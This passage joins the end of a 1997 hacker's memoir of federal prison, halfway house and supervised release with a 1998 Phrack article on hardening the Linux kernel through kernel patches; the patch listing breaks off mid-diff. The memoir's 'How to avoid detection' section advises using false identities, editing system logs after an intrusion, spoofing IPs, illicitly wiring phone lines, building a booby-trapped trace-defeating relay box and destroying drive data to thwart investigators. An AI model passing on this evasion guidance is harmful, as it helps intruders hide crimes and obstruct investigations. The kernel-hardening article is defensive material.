For this reason I often took my problems outside the prison from the start. If it was a substantial enough issue I would inform the media, the director of the BOP, all three of my attorneys, my judge and the ACLU. Often this worked. It always pissed them off. But, alas I'm a man of principle and if you deprive me of my rights I'm going to raise hell. In the past I might have resorted to hacker tactics, like disrupting the BOP's entire communication system bringing it crashing down! But...I'm rehabilitated now. Incidentally, most BOP officials and inmates have no concept of the kind of havoc a hacker can wield on an individuals life. So until some hacker shows the BOP which end is up you will have to accept the fact most everyone you meet in prison will have only nominal respect for you. Deal with it, you're not in cyberspace anymore.

I. PRISON OFFICIALS

There are two types, dumb and dumber. I've had respect for several but I've never met one that impressed me as being particularly talented in a way other than following orders. Typically you will find staff that are either just doing their job, or staff that is determined to advance their career. The latter take their jobs and themselves way too seriously. They don't get anywhere by being nice to inmates so they are often quite curt. Ex‑military and law enforcement wannabes are commonplace. All in all they're a pain in the ass but easy to deal with. Anyone who has ever been down (incarcerated) for awhile knows it's best to keep a low profile. If they don't know you by name you're in good shape.

One of the problems that computer hackers will encounter with prison staff is fear and/or resentment. If you are a pretentious articulate educated white boy like myself you would be wise to act a little stupid. These people don't want to respect you and some of them will hate everything that you stand for. Many dislike all inmates to begin with. And the concept of you someday having a great job and being successful bothers them. It's all a rather bizarre environment where everyone seems to hate their jobs. I guess I've led a sheltered life.

Before I move on, sometimes there will be certain staff members, like your Case Manager, that will have a substantial amount of control over your situation. The best way to deal with the person is to stay out of their way. Be polite, don't file grievances against them and hope that they will take care of you when it comes time. If this doesn't seem to work, then you need to be a total pain in the ass and ride them with every possible request you can muster. It's especially helpful if you have outside people willing to make calls. Strong media attention will usually, at the very least, make the prison do what they are supposed to do. If you have received a lot of bad press, this could be a disadvantage. If your care continues to be a problem, the prison will transfer you to another facility where you are more likely to get a break. All in all how you choose to deal with staff is often a difficult decision. My advice is that unless you are really getting screwed over or really hate the prison you are in, don't rock the boat.

J. THE HOLE

Segregation sucks, but chances are you will find yourself there at some point and usually for the most ridiculous of reasons. Sometimes you will wind up there because of what someone else did. The hole is a 6' x 10' concrete room with a steel bed and steel toilet. Your privileges will vary, but at first you get nothing but a shower every couple of days. Naturally they feed you but, it's never enough, and it's often cold. With no snacks you often find yourself quite hungry in‑between meals. There is nothing to do there except read and hopefully some guard has been kind enough to throw you some old novel.

Disciplinary actions will land you in the hole for typically a week or two. In some cases you might get stuck there for a month or three. It depends on the shot and on the Lieutenant that sent you there. Sometimes people never leave the hole....

K. GOOD TIME

You get 54 days per year off of your sentence for good behavior. If anyone tells you that a bill is going to be passed to give 108 days, they are lying. 54 days a year works out to 15% and you have to do something significant to justify getting that taken away. The BOP has come up with the most complicated and ridiculous way to calculate how much good time you have earned. They have a book about three inches thick that discusses how to calculate your exact release date. I studied the book intensely and came to the conclusion that the only purpose it serves is to covertly steal a few days of good time from you. Go figure.

L. HALFWAY HOUSE

All "eligible" inmates are to serve the last 10% of their sentence (not to exceed six months) in a Community Corrections Center (CCC). At the CCC , which is nothing more than a large house in a bad part of town, you are to find a job in the community and spend your evenings and nights at the CCC. You have to give 25% of the gross amount of your check to the CCC to pay for all of your expenses, unless you are a rare Federal prisoner sentenced to serve all of your time at the CCC in which case it is 10%. They will breathalyse and urinanalyse you routinely to make sure you are not having too much fun. If you're a good little hacker you'll get a weekend pass so you can stay out all night. Most CCCs will transfer you to home confinement status after a few weeks. This means you can move into your own place, (if they approve it) but still have to be in for the evenings. They check up on you by phone. And no, you are not allowed call forwarding, silly rabbit.

M. SUPERVISED RELEASE

Just when you think the fun is all over, after you are released from prison or the CCC, you will be required to report to a Probation Officer. For the next 3 to 5 years you will be on Supervised Release. The government abolished parole, thereby preventing convicts from getting out of prison early. Despite this they still want to keep tabs on you for awhile.

Supervised Release, in my opinion, is nothing more than extended punishment. You are a not a free man able to travel and work as you please. All of your activities will have to be presented to your Probation Officer (P.O.). And probation is essentially what Supervised Release is. Your P.O. can violate you for any technical violations and send you back to prison for several months, or over a year. If you have ANY history of drug use you will be required to submit to random (weekly) urinalyses. If you come up dirty it's back to the joint.

As a hacker you may find that your access to work with, or possession of computer equipment may be restricted. While this may sound pragmatic to the public, in practice it serves no other purpose that to punish and limit a former hacker's ability to support himself. With computers at libraries, copy shops, schools, and virtually everywhere, it's much like restricting someone who used a car to get to and from a bank robbery to not ever drive again. If a hacker is predisposed to hacking he's going to be able to do it with or without restrictions. In reality many hackers don't even need a computer to achieve their goals. As you probably know a phone and a little social engineering go a long way.

But with any luck you will be assigned a reasonable P.O. and you will stay out of trouble. If you give your P.O. no cause to keep an eye on you, you may find the reins loosening up. You may also be able to have your Supervised Release terminated early by the court. After a year or so, with good cause, and all of your government debts paid, it might be plausible. Hire an attorney, file a motion.

For many convicts Supervised Release is simply too much like being in prison. For those it is best to violate, go back to prison for a few months, and hope the judge terminates their Supervised Release. Although the judge may continue your supervision, he/she typically will not.

PART III

A. HOW TO AVOID DETECTION

Now that you know what kind of trouble you are facing I'll go back to the beginning. If what I've just covered doesn't make you want to stop hacking then you had better learn how to protect yourself. Many hackers feel they have some god given constitutional right to hack. Many don't believe it should be illegal. Well, neurosis and personality disorders work in strange ways. Regardless, I'll cover the topic of stealth. Please note that I in no way advocate or encourage hacking. This technical information is being provided for educational purposes only. And as I mentioned you may feel you have a perfectly legitimate reason for avoiding detection, simply trying to stay clear of other hackers would be an acceptable reason. This paper (I'm sure) will also serve to educate law enforcement officials on the methods currently being deployed by hackers to avoid detection.

Avoiding being identified while hacking is in actually a rather simple feat, assuming you follow a few simple rules. Unfortunately, very few people bother with them, due typically to arrogance and ego. Which as I have noticed, seems to be a trait that is a prerequisite to being a successful hacker. I've never met a hacker who didn't think he was the shit. And when it gets right down to it that was the reason that Mitnick got caught. I'll examine this incident a little later.

So I will list here a few of the basic rules I used, and then I'll expound upon them a little later.

* Most important of all, I would never tell another hacker who I was, where I lived, or give out my home phone number. (OK, I screwed up on that one.)

* I didn't set up network access accounts up in my real name or use my real address.

* I didn't set up phone numbers in my real name.

* I would never dial directly in to anything I was hacking.

* I would set up some kind of notification system that would let me know if someone was trying to figure out where I was connecting from.

* I didn't transmit personal data on systems I had have hacked into.

* When I used a network or computer for work or social objectives, I tried to keep it separate from my hacking.

* I never assumed that just by connecting through a bunch of different networks or using cellular phones that I was safe. Even though most cellular networks do not have triangulation equipment installed they still have the ability to narrow a transmitting location down to a square mile of even a few blocks, this even well after you have disconnected.

* The minute I got into a system I would examine and edit all of the logs. I would also look for email daemons on admin or admin associated accts. that sent out copies of the system security logs.

* When setting up accts. on systems I would use different login ID's.

* I never went to hacker cons. (Until I worked with the FBI)

* I would change network access dial up accts. and dial up numbers every so often. I would also change living locations every 8‑12 months.

* I would keep in mind that the numbers I dialed on my phone could eventually be used to track me again. For example, if I called my girl friend frequently, after I changed numbers and location I might still be calling that number. The telcos now have toll record data base software that can cross reference and track this type of thing.

* I rarely used IRC until I worked with the FBI. If ‑you‑ must, change your handle frequently, remain in invisible mode, and if you're leet enough, spoof your IP. Remember that you should never trust other hackers. Many times association with them will cause you as much trouble as a run in with the Feds.

And yes the FBI logs all of the IRC channels and searches them for key words when they are looking for information on someone or some breech. There is a secret logging program running on a special irc.server that doesn't accept port 6667 connections, etc. Doesn't show up as a link either. Hmm. ;‑)

Following all of those rules would be tough. The fact of the matter is if you generate enough interest and piss off the right people, they will come after you. However, the FBI routinely passes over low level hackers. When I worked with the Bureau I was instructed that only the most malicious and aggressive hackers where to be investigated. Fine with me, wasn't my goal in life to put a bunch a little hacker dorks in jail. It's not real easy to catch an accomplished hacker but it can be done, it's really just a matter of contacting all of the right people and putting a little time into it. Typically hackers get caught because someone snitched. Thus the importance of my first rule, I never told anyone who I really was. The other primary reason for getting caught is arrogance or underestimating the abilities of the authorities. Poulsen didn't believe an investigator would sit outside of a grocery store for a week on the off chance he might show up. Poulsen had used the pay phones at that store a few times, which was determined by a toll record search. Mitnick didn't think someone would go through the trouble of doing toll searches on cell phone records then radio frequency triangulating his location.

Poulsen and I went through some rather elaborate anti‑detection procedures. Since I had physical access to my local telco Central Office I would activate, connect, and wire all of my own phone services. There was essentially no record of my phone number or cable and pair data. In addition, I ran the wires going into my apartment through a trash chute, over the roof covered by tar, and down a vent pipe into my bathroom. The connection to the bridging terminal (F2) was through a hole drilled into the back of the junction box. Examination of the telephone box in the basement of my building revealed no connections, you would have had to take the box apart to see it. And if that wasn't enough over at the C.O. I tapped on to the output channel (SC1, which was the feed to SCCS) of the 1AESS telephone switch and ran it up to my apartment. There I had an old PC‑XT with a Bell 202 modem watching the 1AESS output. Poulsen wrote a small basic program that looked for call traces and any other suspicious activity. The XT would start beeping and print out any of those output messages. Elaborate indeed.

B. THE STEALTH BOX

But a truly good anti‑detection system would notify you absolutely if someone was attempting to trace your connection. In addition, it would terminate the connection before it allowed someone to see where it was going. What I am suggesting is some type of dial in/dial out mechanism. For example, 2 modems connected back to back, with their 232 ports connected. They would then be placed in a generic wall mounted box in anonymous phone closet somewhere. In addition, a stun gun would be wired to give the modems a death shock if the box was opened by an unauthorized person. A password would be set on the modem for dial out and the phone lines feeding the two modems would have to be set up under separate accounts. This would require anyone investigating, to come out and take a gander at this device to determine that, it's not the location of the hacker, and that yet another call trace is in order to see who is dialing in. However, having opened the box the investigator has disabled the device and when you dial in you'll know that something is up. Even if they attempt to replace the device, they could never know the original password, or even if there was one. It would be further advisable to disguise the telephone lines feeding the device, making it necessary to open the box to identify them.

Well that's just an idea for the design of an anti‑detection device. It's obviously a bit complex, but you get the idea. My point being that avoiding detection is not a simple task. If someone wants you they can get you. There really isn't such a thing as a secure connection; virtually everything can be traced, short of a highly directional data burst satellite uplink. At that point the Air Force National Reconnaissance Office (NRO) or the NSA would have to get involved, big bucks.

Aside from setting up physical hardware another idea would be to find a Sysadmin that will let you use his system to connect through. If you trust him to tell you if there has been an inquiry regarding your connection then you might be OK. It would also be wise to set up background processes that monitor finger and other related probes of your account. Watch them watch you.

As I mentioned earlier if you fall under surveillance there will be 2‑way radio traffic in your vicinity. Using the Opto‑Electronics Explorer will detect this and you can further investigate to see who it may be. Good physical surveillance is difficult to detect. Bad physical surveillance is comical.

C. MORE PROTECTION

I covered encryption earlier and as I mentioned it really is not safe to assume that it will protect you from someone who takes possession of your computer. The only truly safe encryption would be a military spec. hardware/software implementation. When people talk about secure encryption they are not taking into account that all the power of a Government might be trying to crack it, and that they will have physical access to the encryption device, your computer! This leaves us with one other method, destroying the data. Now this in and of it's self can be construed as obstruction of justice. However, should you feel the need to instantly destroy all of the data on your hard drive, for oh.. lets say educational purposes. I would suggest mounting a bulk magnetic tape eraser next to your hard drive. You can pick one up at Radio Hack, err Shack. One flip of the panic switch, thus powering up the eraser while the drive is turning, and ZAP! Mount a switch next to your bed. ;‑)

This may or may not destroy all of the data on your drive. If the drive disk is removed and placed on a special reader some data may still be recovered. This is a science in itself. DOD spec. requires that a hard drive be written to with O's 7 times before it is considered erased. Simply erasing a file, formatting, or defragging will not suffice. Look for a shareware utility named "BCwipe". This will erase to military spec. You may also want to install some type of program that auto erases under certain conditions. Regardless, computer specialists that work with computer crime are trained to look for this.

There are still a lot of issues that could be covered with respect to avoiding detection and keeping clear of hackers. In fact I could fill a book, and in retrospect I probably should have. But I told a lot of people I would write this file and make it public. Hope you found it of some assistance.

CLOSURE

What a long strange trip it's been. I have a great deal of mixed emotions about my whole ordeal. I can however, say that I HAVE benefited from my incarceration. However, it certainly was not on the behalf of how I was handled by the government. No, despite their efforts to kick me when I was down, use me, turn their backs after I had assisted them, and in general, just violate my rights, I was still able to emerge better educated than when I went in. But frankly, my release from prison was just in the nick of time. The long term effects of incarceration and stress were creeping up on me, and I could see prison conditions were worsening. It's hard to express the poignancy of the situation but the majority of those incarcerated feel that if drastic changes are not made America is due for some serious turmoil, perhaps even a civil war. Yes, the criminal justice system is that screwed up. The Nation's thirst for vengeance on criminals is leading us into a vicious feedback loop of crime and punishment, and once again crime. Quite simply, the system is not working. My purpose in writing this article was not to send any kind of message. I'm not telling you how not to get caught and I'm not telling you to stop hacking. I wrote this simply because I feel like I owe it to whomever might get use of it. For some strange reason I am oddly compelled to tell you what happened to me. Perhaps this is some kind or therapy, perhaps it's just my ego, perhaps I just want to help some poor 18 year old hacker who really doesn't know what he is getting himself in to. Whatever the reason, I just sat down one day and started writing.

If there is a central theme to this article it would be how ugly your world can become. Once you get grabbed by the law, sucked into their vacuum, and they shine the spotlight on you, there will be little you can do to protect yourself. The vultures and predators will try to pick what they can off of you. It's open season for the U.S. Attorneys, your attorney, other inmates, and prison officials. You become fair game. Defending yourself from all of these forces will require all of your wits, all of your resources, and occasionally your fists.

Furthering the humiliation, the press, as a general rule, will not be concerned with presenting the truth. They will print what suits them and often omit many relevant facts. If you have read any of the 5 books I am covered in you will no doubt have a rather jaded opinion of me. Let me assure you that if you met me today you would quickly see that I am quite likable and not the villain many (especially Jon Littman) have made me out to be. You may not agree with how I lived my life, but you wouldn't have any trouble understanding why I chose to live it that way. Granted I've made my mistakes, growing up has been a long road for me. Nevertheless, I have no shortage of good friends. Friends that I am immensely loyal to. But if you believe everything you read you'd have the impression that Mitnick is a vindictive loser, Poulsen a furtive stalker, and I a two faced rat. All of those assessments would be incorrect.

So much for first impressions. I just hope I was able to enlighten you and in some way to help you make the right choice. Whether it's protecting yourself from what could be a traumatic life altering experience, or compelling you to focus your computer skills on other avenues, it's important for you to know the program, the language, and the rules.

See you in the movies.

Agent Steal

1997

‑‑‑‑[ EOF

Hardening the Linux Kernel

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 06 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Hardening the Linux Kernel (series 2.0.x)

‑‑‑‑‑‑‑‑[ route|daemon9 <route@infonexus.com>

‑‑‑‑[ Introduction and Impetus

Linux. The cutest Unix‑like O/S alive today. Everyone knows at least *one* person who has at least *one* Linux machine. Linux, whatever your opinion of it, is out there, and is being used by more and more people. Many of the people using Linux are using it in multi‑user environments. All of a sudden they find security to be a big issue. This article is for those people.

This article covers a few areas of potential insecurity in the Linux O/S and attempts to improve upon them. It contains several security related kernel patches for the 2.0.x kernels (each has been tested successfully on the 2.0.3x kernels and most should work on older 2.0.x kernels; see each subsection for more info).

These are kernel patches. They do nothing for user‑land security. If you can not set permissions and configure services correctly, you should not be running a Unix machine.

These patches are not bugfixes. They are preventative security fixes. They are intended to prevent possible problems and breaches of security from occurring. In some cases they can remove (or at least severely complicate) the threat of many of today's most popular methods of attack.

These patches are not really useful on a single‑user machine. They are really intended for a multi‑user box.

This article is for those of you who want better security out of your Linux O/S. If you want to go a bit further, look into the POSIX.1e (POSIX 6) stuff. POSIX.1e is a security model that basically separates identity and privilege. Effectively, it splits superuser privileges into different `capabilities`. Additionally, the Linux POSIX.1e (linux‑privs) implementation offers a bitmapped securelevel, kernel‑based auditing (userland audit hooks are being developed), and ACLs. See: http://parc.power.net/morgan/Orange‑Linux/linux‑privs/index.html

To sum it up, in this article, we explore a few ways to make the multi‑user Linux machine a bit more secure and resilient to attack.

‑‑‑‑[ The Patches

procfs patch

‑‑‑‑‑‑‑‑‑‑‑‑

Tested on: 2.0.0 +

Author: route

Why should we allow anyone to be able to view info on any process?

Normally, /bin/ps can show process listing for every process in the kernel's process table, regardless of ownership. A non‑privileged user can see all the running processes on a system. This can include information that could be used in some forms of known / guessed PID‑based attacks, not to mention the obvious lack of privacy. /bin/ps gets this process information by reading the /proc filesystem.

The /proc filesystem is a virtual filesystem interface into the O/S which provides all kinds of good information including the status of various portions of the running kernel and a list of currently running processes. It has a filesystem interface, which means it has file‑system‑like access controls. As such, we can change the default access permissions on the inode from 555 to 500.

And that's the patch. We just change the permissions on the inode from S_IFDIR | S_IRUGO | S_IXUGO to S_IFDIR | S_IRUSR | S_IXUSR.

trusted path execution patch

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tested on: 2.0.0 +

Author: route (2.0.x version, original 1.x patch by merc)

Why should we allow arbitrary programs execution rights?

Consider this scenario: You are the administrator of a multi‑user Linux machine. All of a sudden there is a new bug in the Pentium(tm) processor! As it happens, this bug causes the CPU to lock up entirely, requiring a cold reboot. This bug is also exploitable by any user regardless of privilege. All it necessitates is for the malevolent user to 1) get the source, 2) compile the exploit, and 3) execute the program.

Whelp... 1) has happened. You cannot prevent anyone from getting it. It's out there. You could remove permissions from the compiler on your machine or remove the binary entirely, but this does not stop the user from compiling the exploit elsewhere, and getting the binary on your machine somehow. You cannot prevent 2) either. However, if you only allow binaries to be executed from a trusted path, you can prevent 3) from happening. A trusted path is one that is inside is a root owned directory that is not group or world writable. /bin, /usr/bin, /usr/local/bin, are (under normal circumstances) considered trusted. Any non‑root users home directory is not trusted, nor is /tmp. Be warned: This patch is a major annoyance to users who like to execute code and scripts from their home directories! It will make you extremely un‑popular as far as these people are concerned. It will also let you sleep easier at night knowing that no unscrupulous persons will be executing malicious bits of code on your machine.

Before any call to exec is allowed to run, we open the inode of the directory that the executable lives in and check ownership and permissions. If the directory is not owned by root, or is writable to group or other, we consider that untrusted.

securelevel patch

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tested on: 2.0.26 +

Author: route

Damnit, if I set the immutable and append only bits, I did it for a reason.

This patch isn't really much of a patch. It simply bumps the securelevel up, to 1 from 0. This freezes the immutable and append‑only bits on files, keeping anyone from changing them (from the normal chattr interface). Before turning this on, you should of course make certain key files immutable, and logfiles append‑only. It is still possible to open the raw disk device, however. Your average cut and paste hacker will probably not know how to do this.

stack execution disabling patch and symlink patch

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tested on: 2.0.30 +

Author: solar designer

From the documentation accompanying SD's patch:

This patch is intended to add protection against two classes of security holes: buffer overflows and symlinks in /tmp.

Most buffer overflow exploits are based on overwriting a function's return address on the stack to point to some arbitrary code, which is also put onto the stack. If the stack area is non‑executable, buffer overflow vulnerabilities become harder to exploit.

Another way to exploit a buffer overflow is to point the return address to a function in libc, usually system(). This patch also changes the default address that shared libraries are mmap()ed at to make it always contain a zero byte. This makes it impossible to specify any more data (parameters to the function, or more copies of the return address when filling with a pattern) in an exploit that has to do with ASCIIZ strings (this is the case for most overflow vulnerabilities).

However, note that this patch is by no means a complete solution, it just adds an extra layer of security. Some buffer overflow vulnerabilities will still remain exploitable a more complicated way. The reason for using such a patch is to protect against some of the buffer overflow vulnerabilities that are yet unknown.

In this version of my patch I also added a symlink security fix, originally by Andrew Tridgell. I changed it to prevent from using hard links too, by simply not allowing non‑root users to create hard links to files they don't own, in +t directories. This seems to be the desired behavior anyway, since otherwise users couldn't remove such links they just created. I also added exploit attempt logging, this code is shared with the non‑executable stack stuff, and was the reason to make it a single patch instead of two separate ones. You can enable them separately anyway.

GID split privilege patch

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tested on: 2.0.30 +

Author: Original version DaveG, updated for 2.0.33 by route

From the documentation accompanying Dave's original patch: This is a simple kernel patch that allows you to perform certain privileged operations with out requiring root access. With this patch three groups become privileged groups allowed to do different operations within the kernel.

GID 16 : a program running with group 16 privileges can bind to a < 1024. This allows programs like: rlogin, rcp, rsh, and ssh to run setgid 16 instead of setuid 0(root). This also allows servers that need to run as root to bind to a privileged port like named, to also run setgid 16.

GID 17 : any program running under GID 17 privileges will be able to create a raw socket. Programs like ping and traceroute can now be made to run setgid 17 instead of setuid 0(root).

GID 18 : This group is for SOCK_PACKET. This isn't useful for most people, so if you don't know what it is, don't worry about it.

Limitations

‑‑‑‑‑‑‑‑‑‑‑

Since this is a simple patch, it is VERY limited. First of all, there is no support for supplementary groups. This means that you can't stack these privileges. If you need GID 16 and 17, there isn't much you can do about it.

‑‑‑‑[ Installation

This patchfile has been tested and verified to work against the latest stable release of the linux kernel (as of this writing, 2.0.33). It should work against other 2.0.x releases as well with little or no modification. THIS IS NOT A GUARANTEE! Please do not send me your failed patch logs from older kernels. Take this as a perfect opportunity to upgrade your kernel to the latest release. Note that several of these patches are for X86‑Linux only. Sorry.

1. Create the symlink:

`cd /usr/src`

`ln ‑s linux‑KERNEL_VERSION linux‑stock`

2. Apply the kernel patch:

`patch < slinux.patch >& patch.err`

2a. Examine the error file for any failed hunks. Figure where you went wrong in life:

`grep fail patch.err`

3. Configure your kernel:

`make config` OR `make menu‑config` OR `make xconfig`

4. You will need to enable prompting for experimental code in your kernel and turn on the patches individually.

5. To configure the split GID privilege patch, add the follow to your /etc/group file:

`cat >> /etc/group`

priv_port::16:user1, user2, user3 raw_sock::17:user1, user2

sock_pak::18:user2, user3

^D

Where `userx` are the usernames of the users you wish to give these permissions to. Next, fix the corresponding group and permissions on the binaries you wish to strip root privileges from:

`chgrp raw_sock /bin/ping`

`chmod 2755 /bin/ping`

‑‑‑‑[ The patchfile

This patchfile should be extracted with the Phrack Magazine Extraction Utility included in this (and every) issue.

<++> slinux.patch

diff ‑ru linux‑stock/Documentation/Configure.help linux‑patched/Documentation/Configure.help ‑‑‑ linux‑stock/Documentation/Configure.helpFri Sep 5 20:43:58 1997 +++ linux‑patched/Documentation/Configure.helpMon Nov 10 22:02:36 1997 @@ ‑720,6 +720,77 @@

later load the module when you install the JDK or find an interesting Java program that you can't live without.

+Non‑executable user stack area (EXPERIMENTAL)

+CONFIG_STACKEXEC

+ Most buffer overflow exploits are based on overwriting a function's + return address on the stack to point to some arbitrary code, which is + also put onto the stack. If the stack area is non‑executable, buffer + overflow vulnerabilities become harder to exploit. However, a few + programs depend on the stack being executable, and might stop working + unless you also enable GCC trampolines autodetection below, or enable + the stack area execution permission for every such program separately + using chstk.c. If you don't know what all this is about, or don't care + about security that much, say N.

+

+Autodetect GCC trampolines

+CONFIG_STACKEXEC_AUTOENABLE

+ GCC generates trampolines on the stack to correctly pass control to + nested functions when calling from outside. This requires the stack + being executable. When this option is enabled, programs containing + trampolines will automatically get their stack area executable when + a trampoline is found. However, in some cases this autodetection can + be fooled in a buffer overflow exploit, so it is more secure to + disable this option and use chstk.c to enable the stack area execution + permission for every such program separately. If you're too lazy, + answer Y.

+

+Log buffer overflow exploit attempts

+CONFIG_STACKEXEC_LOG

+ This option enables logging of buffer overflow exploit attempts. No + more than one attempt per minute is logged, so this is safe. Say Y. +

+Process table viewing restriction (EXPERIMENTAL) +CONFIG_PROC_RESTRICT

+ This option enables process table viewing restriction. Users will only + be able to get status of processes they own, with the exception the + root user, who can get an entire process table listing. This patch + should not cause any problems with other programs but it is not fully + tested under every possible contingency. You must enable the /proc + filesystem for this option to be of any use. If you run a multi‑user + system and are reasonably concerned with privacy and/or security, say Y. +

+Trusted path execution (EXPERIMENTAL)

+CONFIG_TPE

+ This option enables trusted path execution. Binaries are considered + `trusted` if they live in a root owned directory that is not group or + world writable. If an attempt is made to execute a program from a non + trusted directory, it will simply not be allowed to run. This is + quite useful on a multi‑user system where security is an issue. Users + will not be able to compile and execute arbitrary programs (read: evil) + from their home directories, as these directories are not trusted. + This option is useless on a single user machine.

+

+Trusted path execution (EXPERIMENTAL)

+CONFIG_TPE_LOG

+ This option enables logging of execution attempts from non‑trusted + paths.

+

+Secure mode (EXPERIMENTAL)

+CONFIG_SECURE_ON

+ This bumps up the securelevel from 0 to 1. When the securelevel is `on`, + immutable and append‑only bits cannot be set or cleared. If you are not + concerned with security, you can say `N`.

+

+Split Network Groups (EXPERIMENTAL)

+CONFIG_SPLIT_GID

+ This is a simple kernel patch that allows you to perform certain + privileged operations with out requiring root access. With this patch + three groups become privileged groups allowed to do different operations + within the kernel.

+ GID 16 allows programs to bind to privledged ports.

+ GID 17 allows programs to open raw sockets.

+ GID 18 allows programs to open sock packets.

+

Processor type

CONFIG_M386

This is the processor type of your CPU. It is used for optimizing @@ ‑2951,6 +3020,27 @@

netatalk, new mars‑nwe and other file servers. At the time of writing none of these are available. So it's safest to say N here unless you really know that you need this feature.

+

+Symlink security fix (EXPERIMENTAL)

+CONFIG_SYMLINK_FIX

+ A very common class of security hole on UNIX‑like systems involves + a malicious user creating a symbolic link in /tmp pointing at

+ another user's file. When the victim then writes to that file they + inadvertently write to the wrong file. Enabling this option fixes + this class of hole by preventing a process from following a link + which is in a +t directory unless they own the link. However, this + fix does not affect links owned by root, since these could only be + created by someone having root access already. To prevent someone + from using a hard link instead, this fix does not allow non‑root + users to create hard links in a +t directory to files they don't + own. Note that this fix might break things. Only say Y if security + is more important.

+

+Log symlink exploit attempts

+CONFIG_SYMLINK_LOG

+ This option enables logging of symlink (and hard link) exploit + attempts. No more than one attempt per minute is logged, so this is + safe. Say Y.

Minix fs support

CONFIG_MINIX_FS

diff ‑ru linux‑stock/arch/i386/config.in linux‑patched/arch/i386/config.in ‑‑‑ linux‑stock/arch/i386/config.inSun May 12 21:17:23 1996

+++ linux‑patched/arch/i386/config.inSun Nov 9 12:38:27 1997

@@ ‑35,6 +35,15 @@

tristate 'Kernel support for ELF binaries' CONFIG_BINFMT_ELF

if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then

tristate 'Kernel support for JAVA binaries' CONFIG_BINFMT_JAVA + bool 'Non‑executable user stack area (EXPERIMENTAL)' CONFIG_STACKEXEC + if [ "$CONFIG_STACKEXEC" = "y" ]; then

+ bool ' Autodetect GCC trampolines' CONFIG_STACKEXEC_AUTOENABLE + bool ' Log buffer overflow exploit attempts' CONFIG_STACKEXEC_LOG + fi

+ bool ' Restrict process table viewing (EXPERIMENTAL)' CONFIG_PROC_RESTRICT + bool ' Trusted path execution (EXPERIMENTAL)' CONFIG_TPE

+ bool ' Log untrusted path execution attempts (EXPERIMENTAL)' CONFIG_TPE_LOG + bool ' Split Network GIDs (EXPERIMENTAL)' CONFIG_SPLIT_GID fi

bool 'Compile kernel as ELF ‑ if your GCC is ELF‑GCC' CONFIG_KERNEL_ELF

diff ‑ru linux‑stock/arch/i386/defconfig linux‑patched/arch/i386/defconfig ‑‑‑ linux‑stock/arch/i386/defconfigMon Sep 22 13:44:01 1997

+++ linux‑patched/arch/i386/defconfigSun Nov 9 12:38:23 1997

@@ ‑24,6 +24,10 @@

CONFIG_SYSVIPC=y

CONFIG_BINFMT_AOUT=y

CONFIG_BINFMT_ELF=y

+# CONFIG_STACKEXEC is not set

+CONFIG_STACKEXEC_AUTOENABLE=y

+CONFIG_STACKEXEC_LOG=y

+CONFIG_SPLIT_GID=y

CONFIG_KERNEL_ELF=y

# CONFIG_M386 is not set

# CONFIG_M486 is not set

@@ ‑134,6 +138,8 @@

# Filesystems

#

# CONFIG_QUOTA is not set

+# CONFIG_SYMLINK_FIX is not set

+CONFIG_SYMLINK_LOG=y

CONFIG_MINIX_FS=y

# CONFIG_EXT_FS is not set

CONFIG_EXT2_FS=y

@@ ‑143,6 +149,9 @@

# CONFIG_VFAT_FS is not set

# CONFIG_UMSDOS_FS is not set

CONFIG_PROC_FS=y

+CONFIG_PROC_RESTRICT=y

+CONFIG_TPE=y

+CONFIG_TPE_LOG=y

CONFIG_NFS_FS=y

# CONFIG_ROOT_NFS is not set

# CONFIG_SMB_FS is not set

diff ‑ru linux‑stock/arch/i386/kernel/head.S linux‑patched/arch/i386/kernel/head.S ‑‑‑ linux‑stock/arch/i386/kernel/head.STue Aug 5 09:19:53 1997 +++ linux‑patched/arch/i386/kernel/head.SSun Nov 9 00:55:50 1997 @@ ‑400,10 +400,17 @@

.quad 0x0000000000000000/* not used */

.quad 0xc0c39a000000ffff/* 0x10 kernel 1GB code at 0xC0000000 */

.quad 0xc0c392000000ffff/* 0x18 kernel 1GB data at 0xC0000000 */

+#ifdef CONFIG_STACKEXEC

+.quad 0x00cafa000000ffff/* 0x23 user 2.75GB code at 0 */

+.quad 0x00cbf2000000ffff/* 0x2b user 3GB data at 0 */

+.quad 0x00cbda000000ffff/* 0x32 user 3GB code at 0, DPL=2 */

+.quad 0x00cbd2000000ffff/* 0x3a user 3GB stack at 0, DPL=2 */

+#else

.quad 0x00cbfa000000ffff/* 0x23 user 3GB code at 0x00000000 */

.quad 0x00cbf2000000ffff/* 0x2b user 3GB data at 0x00000000 */

.quad 0x0000000000000000/* not used */

.quad 0x0000000000000000/* not used */

+#endif

.fill 2*NR_TASKS,8,0/* space for LDT's and TSS's etc */

#ifdef CONFIG_APM

.quad 0x00c09a0000000000/* APM CS code */

diff ‑ru linux‑stock/arch/i386/kernel/ptrace.c linux‑patched/arch/i386/kernel/ptrace.c ‑‑‑ linux‑stock/arch/i386/kernel/ptrace.cMon Aug 4 12:12:22 1997 +++ linux‑patched/arch/i386/kernel/ptrace.cSun Nov 9 00:55:50 1997 @@ ‑413,7 +413,7 @@

addr == FS || addr == GS ||

addr == CS || addr == SS) {

data &= 0xffff;

‑ if (data && (data & 3) != 3)

+ if (data && (data & 3) < 2)

return ‑EIO;

}

if (addr == EFL) { /* flags. */

@@ ‑423,6 +423,10 @@

/* Do not allow the user to set the debug register for kernel

address space */

if(addr < 17){

+if (addr == EIP && (data & 0xF0000000) == 0xB0000000)

+if (put_stack_long(child, CS*sizeof(long)‑MAGICNUMBER, USER_HUGE_CS) || + put_stack_long(child, SS*sizeof(long)‑MAGICNUMBER, USER_HUGE_SS)) +return ‑EIO;

if (put_stack_long(child, sizeof(long)*addr‑MAGICNUMBER, data)) return ‑EIO;

return 0;

diff ‑ru linux‑stock/arch/i386/kernel/signal.c linux‑patched/arch/i386/kernel/signal.c ‑‑‑ linux‑stock/arch/i386/kernel/signal.cMon Aug 4 12:12:51 1997 +++ linux‑patched/arch/i386/kernel/signal.cSun Nov 9 00:55:50 1997 @@ ‑83,10 +83,10 @@

#define COPY_SEG(x) \

